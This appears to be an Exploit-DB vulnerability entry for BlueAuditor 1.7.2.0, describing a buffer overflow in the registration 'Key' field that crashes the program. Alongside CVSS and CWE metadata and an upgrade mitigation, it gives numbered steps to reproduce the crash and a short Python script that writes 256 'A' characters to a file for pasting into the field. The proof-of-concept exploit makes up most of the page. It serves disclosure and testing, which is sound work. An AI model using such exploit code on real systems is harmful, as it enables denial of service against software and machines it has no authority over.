BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC)

vendor:

BlueAuditor

by:

Luis Martinez

7.8

CVSS

HIGH

Denial of Service (DoS) Local

119

CWE

Product Name: BlueAuditor

Affected Version From: 1.7.2.0

Affected Version To: 1.7.2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:nsauditor:blueauditor:1.7.2.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2019

BlueAuditor 1.7.2.0 – ‘Key’ Denial of Service (PoC)

A buffer overflow vulnerability exists in BlueAuditor 1.7.2.0 when a maliciously crafted 'Key' is entered into the registration code field. An attacker can exploit this vulnerability to cause a denial of service condition. This can be exploited by running a python code to generate a maliciously crafted 'Key' and then entering it into the registration code field.

Mitigation:

Upgrade to the latest version of BlueAuditor, which is not vulnerable to this attack.

Source

Exploit-DB raw data:

# Exploit Title: BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2019-01-04
# Vendor Homepage: www.nsauditor.com
# Software Link : http://www.nsauditor.com/downloads/blueauditor_setup.exe
# Tested Version: 1.7.2.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python BlueAuditor_1.7.2.0.py
# 2.- Open BlueAuditor_1.7.2.0.txt and copy content to clipboard
# 3.- Open BlueAuditor
# 4.- Register -> Enter Registration Code...
# 5.- Name: -> l4m5
# 6.- Paste ClipBoard on "Key:"
# 7.- OK
# 8.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 256
f = open ("BlueAuditor_1.7.2.0.txt", "w")
f.write(buffer)
f.close()